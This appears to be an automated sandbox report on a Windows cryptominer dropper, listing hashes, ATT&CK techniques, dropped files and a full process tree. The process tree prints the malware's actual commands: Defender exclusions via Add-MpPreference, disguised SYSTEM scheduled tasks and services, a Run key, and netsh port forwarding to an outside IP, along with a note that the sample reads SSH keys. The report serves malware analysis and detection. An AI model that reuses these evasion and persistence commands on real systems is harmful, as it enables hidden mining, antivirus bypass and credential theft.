xmrig | 816a567d88982870abddb54d4185a153ea2aa117ad7bc0996a0bd04af20f18a6

Analysis

max time kernel
43s
max time network
147s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
28/08/2026, 01:06

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-27_f787ca5a24a2dfa99fd0f642235e5653_frostygoop_hive_luca-stealer_salatstealer_sliver.exe
Size 7.5MB
Sample260828-bgh2fabe34
SHA256 816a567d88982870abddb54d4185a153ea2aa117ad7bc0996a0bd04af20f18a6
MD5 f787ca5a24a2dfa99fd0f642235e5653
SHA1 e3f80f38299a7dc82df88d899e1c1caf8e09ae1a
SHA512 c0af4676d23e4fcfebb2e9e6d2c47ac2120b49ce9c98ed12e927264877d3c0d07069c98779986538706aec42e4b26c0b000320a8d565872e84706b01be3cdf69
SSDEEP 98304:AMfTojyvFVYiZhPjogdiAX6UlORpQHYJCWLH7aWIuztvXvmSl96GxsazmBmd:AgsUHYciu6Ul2HJCWLhItSl9txsa62
TLSH
T1118601477CE518B5C0AEA2328A6695527A71BC480F3263DB3E90F37C2F72BD06A75750
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery execution xmrig miner persistence privilege_escalation spyware stealer

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 13 IoCs

miner

resource	yara_rule
behavioral1/files/0x000800000002424d-2.dat	family_xmrig
behavioral1/files/0x000800000002424d-2.dat	xmrig
behavioral1/files/0x000c00000002425a-91.dat	family_xmrig
behavioral1/files/0x000c00000002425a-91.dat	xmrig
behavioral1/memory/4520-102-0x00007FF7618A0000-0x00007FF76228E000-memory.dmp	xmrig
behavioral1/memory/4520-103-0x00007FF7618A0000-0x00007FF76228E000-memory.dmp	xmrig
behavioral1/memory/4520-118-0x00007FF7618A0000-0x00007FF76228E000-memory.dmp	xmrig
behavioral1/memory/4520-152-0x00007FF7618A0000-0x00007FF76228E000-memory.dmp	xmrig
behavioral1/memory/4520-199-0x00007FF7618A0000-0x00007FF76228E000-memory.dmp	xmrig
behavioral1/memory/4520-244-0x00007FF7618A0000-0x00007FF76228E000-memory.dmp	xmrig
behavioral1/memory/4520-258-0x00007FF7618A0000-0x00007FF76228E000-memory.dmp	xmrig
behavioral1/memory/4520-256-0x00007FF7618A0000-0x00007FF76228E000-memory.dmp	xmrig
behavioral1/memory/1048-257-0x00007FF7618A0000-0x00007FF76228E000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 24 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3180	powershell.exe
1104	powershell.exe
2424	powershell.exe
2628	powershell.exe
4796	powershell.exe
3968	powershell.exe
2760	powershell.exe
1844	powershell.exe
2080	powershell.exe
1044	powershell.exe
3868	powershell.exe
2784	powershell.exe
564	powershell.exe
848	powershell.exe
3204	powershell.exe
4452	powershell.exe
2936	powershell.exe
3112	powershell.exe
3928	powershell.exe
2876	powershell.exe
3992	powershell.exe
3516	powershell.exe
3716	powershell.exe
1356	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Executes dropped EXE 4 IoCs

pid	Process
4480	.svc-4036673460
4520	vltrig.exe
2588	RuntimeBroker.exe
4528	RuntimeBroker.exe

Reads ssh keys stored on the system 2 TTPs
Tries to access SSH used by SSH programs.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Unexpected DNS network traffic destination 2 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

description	flow	ioc	pid	Process
Destination IP	10	173.245.58.242	4520	vltrig.exe
Destination IP		173.245.58.242		Process not Found

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsNetworkHelper = "C:\\ProgramData\\MiningApp\\netsvcs\\RuntimeBroker.exe --guard"	.svc-4036673460

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1	RuntimeBroker.exe

Launches sc.exe 2 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3948	sc.exe
4144	sc.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 15 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3948	sc.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4564	schtasks.exe
3384	schtasks.exe
1228	schtasks.exe
3420	schtasks.exe

Suspicious behavior: EnumeratesProcesses 28 IoCs

pid	Process
4480	.svc-4036673460
4480	.svc-4036673460
4452	powershell.exe
4452	powershell.exe
1104	powershell.exe
1104	powershell.exe
3992	powershell.exe
3992	powershell.exe
2080	powershell.exe
2080	powershell.exe
2936	powershell.exe
2936	powershell.exe
3112	powershell.exe
3112	powershell.exe
2424	powershell.exe
2424	powershell.exe
2628	powershell.exe
2628	powershell.exe
4796	powershell.exe
4796	powershell.exe
4796	powershell.exe
3516	powershell.exe
3516	powershell.exe
1044	powershell.exe
1044	powershell.exe
1044	powershell.exe
3968	powershell.exe
3968	powershell.exe

Suspicious use of AdjustPrivilegeToken 14 IoCs

description	pid	Process
Token: SeDebugPrivilege	4452	powershell.exe
Token: SeDebugPrivilege	1104	powershell.exe
Token: SeDebugPrivilege	3992	powershell.exe
Token: SeDebugPrivilege	2080	powershell.exe
Token: SeDebugPrivilege	2936	powershell.exe
Token: SeDebugPrivilege	3112	powershell.exe
Token: SeDebugPrivilege	2424	powershell.exe
Token: SeDebugPrivilege	2628	powershell.exe
Token: SeLockMemoryPrivilege	4520	vltrig.exe
Token: SeLockMemoryPrivilege	4520	vltrig.exe
Token: SeDebugPrivilege	4796	powershell.exe
Token: SeDebugPrivilege	3516	powershell.exe
Token: SeDebugPrivilege	1044	powershell.exe
Token: SeDebugPrivilege	3968	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4520	vltrig.exe

Suspicious use of WriteProcessMemory 25 IoCs

description	pid	Process	procid_target
PID 3752 wrote to memory of 4480	3752	2026-08-27_f787ca5a24a2dfa99fd0f642235e5653_frostygoop_hive_luca-stealer_salatstealer_sliver.exe	85
PID 4480 wrote to memory of 4452	4480	.svc-4036673460	86
PID 4480 wrote to memory of 1104	4480	.svc-4036673460	88
PID 4480 wrote to memory of 3992	4480	.svc-4036673460	90
PID 4480 wrote to memory of 2080	4480	.svc-4036673460	94
PID 4480 wrote to memory of 2936	4480	.svc-4036673460	96
PID 4480 wrote to memory of 3112	4480	.svc-4036673460	98
PID 4480 wrote to memory of 2424	4480	.svc-4036673460	102
PID 4480 wrote to memory of 2628	4480	.svc-4036673460	104
PID 4480 wrote to memory of 4520	4480	.svc-4036673460	106
PID 4480 wrote to memory of 3384	4480	.svc-4036673460	107
PID 4480 wrote to memory of 1228	4480	.svc-4036673460	109
PID 4480 wrote to memory of 3420	4480	.svc-4036673460	111
PID 4480 wrote to memory of 3948	4480	.svc-4036673460	113
PID 4480 wrote to memory of 4144	4480	.svc-4036673460	115
PID 2588 wrote to memory of 3632	2588	RuntimeBroker.exe	146
PID 2588 wrote to memory of 3212	2588	RuntimeBroker.exe	124
PID 2588 wrote to memory of 1040	2588	RuntimeBroker.exe	128
PID 4528 wrote to memory of 4796	4528	RuntimeBroker.exe	131
PID 2588 wrote to memory of 3360	2588	RuntimeBroker.exe	134
PID 2588 wrote to memory of 740	2588	RuntimeBroker.exe	136
PID 4528 wrote to memory of 3516	4528	RuntimeBroker.exe	138
PID 4480 wrote to memory of 1044	4480	.svc-4036673460	140
PID 4528 wrote to memory of 3968	4528	RuntimeBroker.exe	143
PID 4480 wrote to memory of 3204	4480	.svc-4036673460	145

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-08-27_f787ca5a24a2dfa99fd0f642235e5653_frostygoop_hive_luca-stealer_salatstealer_sliver.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-27_f787ca5a24a2dfa99fd0f642235e5653_frostygoop_hive_luca-stealer_salatstealer_sliver.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3752
- C:\Users\Admin\AppData\Local\Temp\.svc-4036673460
  C:\Users\Admin\AppData\Local\Temp\.svc-4036673460
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4480
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\ProgramData\MiningApp\netsvcs\""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4452
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\ProgramData\MiningBackup\""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1104
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\ProgramData\.miningbackup\""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3992
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Temp\.v-cache\""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2080
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Add-MpPreference -ExclusionProcess \"vltrig.exe\""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2936
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Add-MpPreference -ExclusionProcess \"RuntimeBroker.exe\""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3112
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Add-MpPreference -ExclusionProcess \"NetworkHelper.exe\""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2424
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Temp\.netsvcs\""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2628
- - C:\ProgramData\MiningApp\netsvcs\vltrig.exe
    C:\ProgramData\MiningApp\netsvcs\vltrig.exe --config=C:\ProgramData\MiningApp\netsvcs\config.json
    3⤵
    - Executes dropped EXE
    - Unexpected DNS network traffic destination
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:4520
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /tn WindowsNetworkHelper /sc onstart /ru SYSTEM /tr "\"C:\ProgramData\MiningApp\netsvcs\RuntimeBroker.exe\" --guard" /rl HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3384
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /tn WindowsNetworkHelperLogon /sc onlogon /ru SYSTEM /tr "\"C:\ProgramData\MiningBackup\RuntimeBroker.exe\" --guard" /rl HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1228
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /tn WindowsNetworkHelperUser /sc onlogon /tr "\"C:\ProgramData\MiningApp\netsvcs\RuntimeBroker.exe\" --guard"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3420
- - C:\Windows\system32\sc.exe
    sc create systemd-networkd-helper binPath= "\"C:\ProgramData\MiningApp\netsvcs\RuntimeBroker.exe\" --guard" start= auto depend= Themes/EventLog obj= LocalSystem
    3⤵
    - Launches sc.exe
    - System Time Discovery
    PID:3948
- - C:\Windows\system32\sc.exe
    sc start systemd-networkd-helper
    3⤵
    - Launches sc.exe
    PID:4144
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\ProgramData\MiningApp\netsvcs\""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1044
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\ProgramData\MiningBackup\""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:3204
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3632
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\ProgramData\.miningbackup\""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:2760
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Temp\.v-cache\""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:1844
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Add-MpPreference -ExclusionProcess \"vltrig.exe\""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:2784
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Add-MpPreference -ExclusionProcess \"RuntimeBroker.exe\""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:2876
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Add-MpPreference -ExclusionProcess \"NetworkHelper.exe\""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:1356
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Temp\.netsvcs\""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:848

C:\ProgramData\MiningApp\netsvcs\RuntimeBroker.exe
"C:\ProgramData\MiningApp\netsvcs\RuntimeBroker.exe" --guard
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:2588
- C:\Windows\system32\netsh.exe
  netsh interface portproxy show v4tov4
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3632
- C:\Windows\system32\netsh.exe
  netsh interface portproxy delete v4tov4 listenport=80 listenaddress=0.0.0.0
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3212
- C:\Windows\system32\netsh.exe
  netsh interface portproxy delete v4tov4 listenport=443 listenaddress=0.0.0.0
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:1040
- C:\Windows\system32\netsh.exe
  netsh interface portproxy add v4tov4 listenport=80 listenaddress=0.0.0.0 connectport=80 connectaddress=45.205.25.134
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3360
- C:\Windows\system32\netsh.exe
  netsh interface portproxy add v4tov4 listenport=443 listenaddress=0.0.0.0 connectport=443 connectaddress=45.205.25.134
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:740

C:\ProgramData\MiningApp\netsvcs\RuntimeBroker.exe
"C:\ProgramData\MiningApp\netsvcs\RuntimeBroker.exe"
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4528
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\ProgramData\MiningApp\netsvcs\""
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4796
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\ProgramData\MiningBackup\""
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3516
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\ProgramData\.miningbackup\""
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3968
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Temp\.v-cache\""
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3180
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "Add-MpPreference -ExclusionProcess \"vltrig.exe\""
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3868
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "Add-MpPreference -ExclusionProcess \"RuntimeBroker.exe\""
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3928
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "Add-MpPreference -ExclusionProcess \"NetworkHelper.exe\""
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3716
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Temp\.netsvcs\""
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:564
- C:\ProgramData\MiningApp\netsvcs\vltrig.exe
  C:\ProgramData\MiningApp\netsvcs\vltrig.exe --config=C:\ProgramData\MiningApp\netsvcs\config.json
  2⤵
  PID:1048
- C:\Windows\system32\schtasks.exe
  schtasks /create /f /tn WindowsNetworkHelper /sc onstart /ru SYSTEM /tr "\"C:\ProgramData\MiningApp\netsvcs\RuntimeBroker.exe\" --guard" /rl HIGHEST
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4564

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

.guard.log

Path C:\ProgramData\MiningApp\netsvcs\.guard.log
Size 302B
SHA256 1ee51e9f788031a773f127a4550048eb98baa1e10f0812cb4a825bfe08d177ca
MD5 223de99ad13c6b254132e5f14aade91b
SHA1 bc833a32d5120d10d20eb12ac7ec07085c765bf8
SHA512 bc65a7a68c671def350d7be9e276ed327e97d09c6104a246529842bb31279e3d98d88795fb1d490b9afac98f7aabe2a90718c7be79a3ca734cdef5834c6c047c
TLSH
T13CE0CD7C01F71214EDC311C6C66167D7FE84F535263C25B7B78D224540180437DA6941
MD5 SHA1 SHA512 TLSH

Submit Download

.guard.log

Path C:\ProgramData\MiningApp\netsvcs\.guard.log
Size 369B
SHA256 58ae10a1371f3840c49a596e98f287ffec0fa8ff6604c2204a70bb3b926ccbfe
MD5 8c5d9387deb474d93e0d93654be624a6
SHA1 f2aacc337c5051428466c7b9a6652c3a3e41cf90
SHA512 9e567fb703968e2324a3b5dc98b8e6cbbd7eb3718ebd1278b99090d69207364d691e8bc327a213a4296c3c8ddebb789141d156716aeeb627bead4e98e90ce92b
TLSH
T1C4E0D87C01F62114FED3168AC6716BDBED84F535267C25B7F79D224440180433EE6941
MD5 SHA1 SHA512 TLSH

Submit Download

.guard.log

Path C:\ProgramData\MiningApp\netsvcs\.guard.log
Size 412B
SHA256 89a1766a8e03ae504532f252e188f25c9165b190d8428c4f0a786dd7a5597a74
MD5 3671a47908f064e50309b3e80c3e6fae
SHA1 19033c5277620fcf31853a30f17c4bea2a1afdb4
SHA512 47de490de196477c506bc5b3a7a7fb85e5de7148e9fce1cd233d7cb1740f5e0210832a04349aac65daba2692e39546930a5e14d7cc3973f0707185747973d933
TLSH
T188E02BBC01F61214EEC311CAC6B16BDBED84F532267C25B7FB9D224540180433EE2901
MD5 SHA1 SHA512 TLSH

Submit Download

.guard.log

Path C:\ProgramData\MiningApp\netsvcs\.guard.log
Size 244B
SHA256 f5f60b26d6dff48d94626c3dc7a68a9a4bbc4fb6ac7bf577a148a6d6ec08c481
MD5 a8e3349e1a37c284996fb65cd37e0f79
SHA1 fa4a655ff43f22ff9bb6ec54536d73253ccb9eeb
SHA512 5662fdf7a767658e9332c6ac5e96fcb96350210d13d67453325de7b7d77d74299f87f2ec619148f5859a9a397ad855273a8027f026235d26597ff1c2b958c23e
TLSH
T17CD0A77C01F36318EE8321D6CA666BC7FE85F832263C26B6B74C210940280437DD3942
MD5 SHA1 SHA512 TLSH

Submit Download

.worker

Path C:\ProgramData\MiningApp\netsvcs\.worker
Size 19B
SHA256 0b85fbe0cdfa4773dc79e01028cb5698748fc1a311af14584dce22799909fa58
MD5 e850440607e87a8f0e7b17caee7c13ec
SHA1 61a7af531d02fde7a1ad367e79b3038a75a9abf9
SHA512 5fc62c99520aeb563e65590171dcc6e072d6fed17f3504de574b0a9b4896f66556498744ff8f81d6ab507531a202bbf19fe159e36cc4e4b4acae091deb88a699
MD5 SHA1 SHA512

Submit Download

config.json

Path C:\ProgramData\MiningApp\netsvcs\config.json
Size 547B
SHA256 1125e1599abac271caa3acb54444aebe8ea586eef270e3354871100dabb75f18
MD5 a1927fde14f798e568b8d396475085a2
SHA1 4f232b8efffb8a2ebea032704eedde079e9fe441
SHA512 e97aca5fc103b2375cd71d825ed3eac965fbf234c97e55d3a362228d7eed0fedcb2660097ed50dfcc43f04e583d1af4f54400fe943cf6680b9b30bd3b832d3e8
TLSH
T196F02B24DDB408B711E9343C55BF718307A94D431A153D64BA5E430D6F4EB2DB4B568C
MD5 SHA1 SHA512 TLSH

Submit Download

vltrig.exe

Path C:\ProgramData\MiningApp\netsvcs\vltrig.exe
Size 9.1MB
SHA256 b97f17ddf05123f3b16255f0deddf6da977eb612820250b3588780be0e1969b0
MD5 19242394bd3e7e5ffc0ac843178afd7c
SHA1 c70060ede712cb8540d97a6be14b1e9fd98d6db2
SHA512 e5b38d6fd4007e103a9e1d238b7a16a0b51868b2a9e332bf12a1915f0c44e10560750b8f2a2d734820afc20f009761b9b87dc005acf8b4cb4712eefdfc912b5c
SSDEEP 98304:AHVGR/6XB+CdbxlGMD70OMFqG0v6JODuRPCsj8Qkn5fj3EMstRbY+f5tJxS4x:DGQNya4dWR8Cta4
TLSH
T148A67C57F1A710ECC66BC1708257A772BA31B86801347E7F2A90DBB12F61E505F6EB24
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
TLSH
T1CE51EE323375B1E888167F071E681A8053BF4355EA94AF1CB698621ED93641B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download